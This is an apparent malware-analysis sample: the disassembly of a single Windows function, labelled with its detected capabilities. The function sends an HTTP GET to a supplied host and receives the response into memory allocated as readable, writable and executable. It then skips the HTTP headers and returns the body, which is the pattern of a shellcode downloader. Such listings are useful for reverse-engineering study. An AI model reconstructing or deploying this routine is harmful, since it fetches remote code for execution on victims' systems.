Function at 0x140001490
Capabilities:
Allocate or change rwx memory
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov word [rsp + 0x10], dx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2f0
mov rdi, rsp
mov ecx, 0xbc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x300]
mov rax, qword [0x14006f008]
xor rax, rsp
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x300]
mov eax, dword [rax]
mov dword [rsp + 0x28c], eax
mov eax, 2
mov word [rsp + 0x288], ax
movzx ecx, word [rsp + 0x308]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x28a], ax
lea rdx, [rsp + 0x30]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov r8, qword [rsp + 0x310]
lea rdx, str.GET__s_HTTP_1.1_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9___q0.8_r_n_r_n
lea rcx, [rsp + 0x1f0]
call fcn.1400011d0
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x2a8], rax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x288]
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rsp + 0x2b0], eax
cmp dword [rsp + 0x2b0], 0xffffffff
jne 0x140001591
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000182a
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x2d8], rax
mov qword [rsp + 0x2e0], 0xffffffffffffffff
inc qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x2d8]
mov rcx, qword [rsp + 0x2e0]
cmp byte [rax + rcx], 0
jne 0x1400015ad
mov rax, qword [rsp + 0x2e0]
mov rcx, rax
call fcn.140059a90
xor r9d, r9d
mov r8d, eax
lea rdx, [rsp + 0x1f0]
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x2b0], eax
cmp dword [rsp + 0x2b0], 0
jg 0x14000161d
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000182a
mov eax, dword [rsp + 0x318]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x2b8], rax
cmp qword [rsp + 0x2b8], 0
jne 0x140001662
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000182a
mov dword [rsp + 0x2c0], 0
xor eax, eax
cmp eax, 1
je 0x1400016fa
mov eax, dword [rsp + 0x2c0]
mov ecx, dword [rsp + 0x318]
sub ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2b8]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x2b0], eax
cmp dword [rsp + 0x2b0], 0
jg 0x1400016ca
jmp 0x1400016fa
mov eax, dword [rsp + 0x2b0]
mov ecx, dword [rsp + 0x2c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c0], eax
mov eax, dword [rsp + 0x318]
cmp dword [rsp + 0x2c0], eax
jb 0x1400016f5
jmp 0x1400016fa
jmp 0x14000166d
mov dword [rsp + 0x2c4], 0
mov dword [rsp + 0x2c8], 0
jmp 0x140001722
mov eax, dword [rsp + 0x2c8]
inc eax
mov dword [rsp + 0x2c8], eax
mov eax, dword [rsp + 0x2c0]
dec eax
cmp dword [rsp + 0x2c8], eax
jge 0x14000181b
cmp dword [rsp + 0x2c4], 0
jne 0x14000176b
movsxd rax, dword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x2b8]
movzx eax, byte [rcx + rax]
cmp eax, 0xd
jne 0x14000176b
mov dword [rsp + 0x2c4], 1
jmp 0x140001816
cmp dword [rsp + 0x2c4], 1
jne 0x14000179b
movsxd rax, dword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x2b8]
movzx eax, byte [rcx + rax]
cmp eax, 0xa
jne 0x14000179b
mov dword [rsp + 0x2c4], 2
jmp 0x140001816
cmp dword [rsp + 0x2c4], 2
jne 0x1400017cb
movsxd rax, dword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x2b8]
movzx eax, byte [rcx + rax]
cmp eax, 0xd
jne 0x1400017cb
mov dword [rsp + 0x2c4], 3
jmp 0x140001816
cmp dword [rsp + 0x2c4], 3
jne 0x14000180b
movsxd rax, dword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x2b8]
movzx eax, byte [rcx + rax]
cmp eax, 0xa
jne 0x14000180b
mov eax, dword [rsp + 0x2c8]
inc eax
cdqe
mov rcx, qword [rsp + 0x2b8]
add rcx, rax
mov rax, rcx
jmp 0x14000182a
mov dword [rsp + 0x2c4], 0
jmp 0x140001712
mov rcx, qword [rsp + 0x2b8]
call fcn.1400333e8
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.14005982c
mov rax, rdi
mov rcx, qword [rsp + 0x2e8]
xor rcx, rsp
call fcn.1400019f0
add rsp, 0x2f0
pop rdi
ret